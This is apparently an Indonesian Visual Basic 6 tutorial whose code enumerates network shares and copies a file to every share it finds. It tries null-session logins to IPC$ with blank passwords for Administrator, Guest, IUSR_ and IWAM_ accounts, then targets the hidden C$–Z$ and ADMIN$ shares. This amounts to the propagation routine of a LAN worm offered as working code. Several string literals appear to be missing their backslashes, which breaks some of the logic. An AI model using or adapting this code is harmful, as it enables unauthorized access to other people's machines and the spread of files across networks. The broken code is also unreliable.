Dapatkan Local & Remote Share Folder

Contoh mendapatkan share folder dari lokal komputer maupun remote komputer, dan mencoba menyalin file ke setiap share folder yang didapat. Dengan menggunakan Null Session.


'Buat Satu Project tanpa form
'tambahkan satu Module, dan copy paste code berikut


Option Explicit

Private Type begoTypeNet2
dwScope As Long
dwType As Long
dwDisplayType As Long
dwUsage As Long
lpLocalName As String
lpRemoteName As String
lpComment As String
lpProvider As String
End Type

Private Type begoTypeNet
dwScope As Long
dwType As Long
dwDisplayType As Long
dwUsage As Long
lpLocalName As Long
lpRemoteName As Long
lpComment As Long
lpProvider As Long
End Type

Private Declare Function begoNetOpen Lib "mpr.dll" Alias "WNetOpenEnumA" _
(ByVal dwScope As Long, ByVal dwType As Long, _
ByVal dwUsage As Long, lpbegoTypeNet As Any, lphEnum As Long) As Long
Private Declare Function begoNetRes Lib "mpr.dll" Alias "WNetEnumResourceA" _
(ByVal hEnum As Long, lpcCount As Long, _
lpBuffer As Any, lpBufferSize As Long) As Long
Private Declare Function begoNetClose Lib "mpr.dll" Alias "WNetCloseEnum" (ByVal hEnum As Long) As Long
Private Declare Function lstrlen Lib "kernel32" Alias "lstrlenA" (ByVal lpString As Any) As Long
Private Declare Function lstrcpy Lib "kernel32" Alias "lstrcpyA" (ByVal _
lpString1 As Any, ByVal lpString2 As Any) As Long
Private Declare Function AddSesi Lib "mpr.dll" Alias "WNetAddConnection2A" _
(lpbegoTypeNet As begoTypeNet2, ByVal lpPassword As String, _
ByVal lpUserName As String, ByVal dwFlags As Long) As Long

Sub Main()
Dim NamaFile As String
NamaFile = "C:\vbBeGo.community.inf"
Open NamaFile For Output As #1
Print #1, "test copy ke lokal jaringan"
Close #1
'SalinKeLocalJaringan NamaFile kalo mau pake name asli
SalinKeLocalJaringan NamaFile, "baca bego!!!.txt"
End Sub

Sub SalinKeLocalJaringan(NamaFile As String, Optional NamaBaru As String = "")
Dim inCount As Integer
Dim nStr As String
Dim Hasil As New Collection
MsgBox "Silahkan klik tombol ok, dan tunggu sebentar untuk cari jaringan lokal", 32
GetLocalNetRes Hasil
For inCount = 1 To Hasil.Count
NamaBaru = TrimPath(Hasil(inCount)) & IIf(NamaBaru = "", _
prName(NamaFile), NamaBaru)
If SalinFile(NamaFile, NamaBaru) = False Then
Debug.Print "Copy file " & NamaBaru & " [ FAILED ]"
Else
Debug.Print "Copy file " & NamaBaru & " [ OKAY ]"
End If
NamaBaru = ""
Next inCount
MsgBox "Lihat hasilnya pada debug windows (tekan CTRL+G)", 48, "informasi"
End Sub

Function SalinFile(Dari As String, Ke As String) As Boolean
On Error GoTo Salah
FileCopy Dari, Ke
SalinFile = True
Exit Function
Salah:
End Function

Private Sub GetLocalNetRes(Hasil As Collection)
Dim lRet As Long
Dim lhwnd As Long
Dim lntrie As Long
Dim i As Integer
Dim namashr As String

Dim netdata(511) As begoTypeNet
lntrie = -1
lRet = begoNetOpen(&H2, &H0, &H0, ByVal 0, lhwnd)
If lRet = 0 And lhwnd <> 0 Then
lRet = begoNetRes(lhwnd, lntrie, netdata(0), CLng(Len(netdata(0))) * 512)
If lRet = 0 Then
For i = 0 To lntrie - 1
namashr = ltos(netdata(i).lpRemoteName)
namashr = prName(namashr)
If netdata(i).dwUsage And &H2 Then
EnumShareIt netdata(i), namashr, Hasil
End If
Next i
ElseIf lRet = 259 Then
Else
'error euy tina nu ieu
End If
Else
'error euy tina nu ieu
End If
lRet = begoNetClose(lhwnd)
End Sub

Private Sub EnumShareIt(netdata_parent As begoTypeNet, _
shrpare As String, Hasil As Collection)
Dim lRet As Long
Dim lhwnd As Long
Dim lntrie As Long
Dim i As Integer
Dim namashr As String

Dim netdata(511) As begoTypeNet
lntrie = -1

lRet = begoNetOpen(&H2, &H0, &H0, netdata_parent, lhwnd)
If lRet = 0 And lhwnd <> 0 Then
lRet = begoNetRes(lhwnd, lntrie, netdata(0), CLng(Len(netdata(0))) * 512)
If lRet = 0 Then
For i = 0 To lntrie - 1
namashr = ltos(netdata(i).lpRemoteName)
namashr = prName(namashr)
If Left(ltos(netdata(i).lpRemoteName), 2) = "" Then
Hasil.Add ltos(netdata(i).lpRemoteName)
If netdata(i).dwDisplayType = &H2 Then
'Tambahkan user yg biasanya tersedia di windows
'serta menggunakan Null session
Dim NullSesi As begoTypeNet2
NullSesi.lpRemoteName = ltos(netdata(i).lpRemoteName) & "\IPC$"
AddSesi NullSesi, "", "Administrator", 1
AddSesi NullSesi, LCase(Replace(ltos(netdata(i).lpRemoteName), "", "")), _
"Administrator", 1
AddSesi NullSesi, "", "IWAM_" & Replace(ltos(netdata(i).lpRemoteName), "", ""), 1
AddSesi NullSesi, "", "IUSR_" & Replace(ltos(netdata(i).lpRemoteName), "", ""), 1
AddSesi NullSesi, "", "Guest", 1
AddSesi NullSesi, "", "", 1
Dim huruf As Integer
For huruf = 65 To 90
Hasil.Add ltos(netdata(i).lpRemoteName) & "" & Chr(huruf) & "$"
Next huruf
Hasil.Add ltos(netdata(i).lpRemoteName) & "\ADMIN$"
End If
End If
If netdata(i).dwUsage And &H2 Then
EnumShareIt netdata(i), shrpare + namashr, Hasil
End If
Next i
ElseIf lRet = 259 Then 'error
Else
'error euy tina nu ieu
End If
Else
'error euy tina nu ieu
End If
lRet = begoNetClose(lhwnd)

End Sub

Function ltos(lngh As Long) As String
Dim strl As String
strl = Space(lstrlen(lngh))
lstrcpy strl, lngh
ltos = strl
End Function

Function prName(strpath As String) As String
On Local Error Resume Next
Dim intseppos As Integer
intseppos = InStrRev(strpath, "")
prName = strpath
If intseppos > 0 Then
prName = Right(strpath, Len(strpath) - intseppos)
End If
End Function

Function TrimPath(nPath As String) As String
If Right(nPath, 1) = "" Then
TrimPath = nPath
Else
TrimPath = nPath & ""
End If
End Function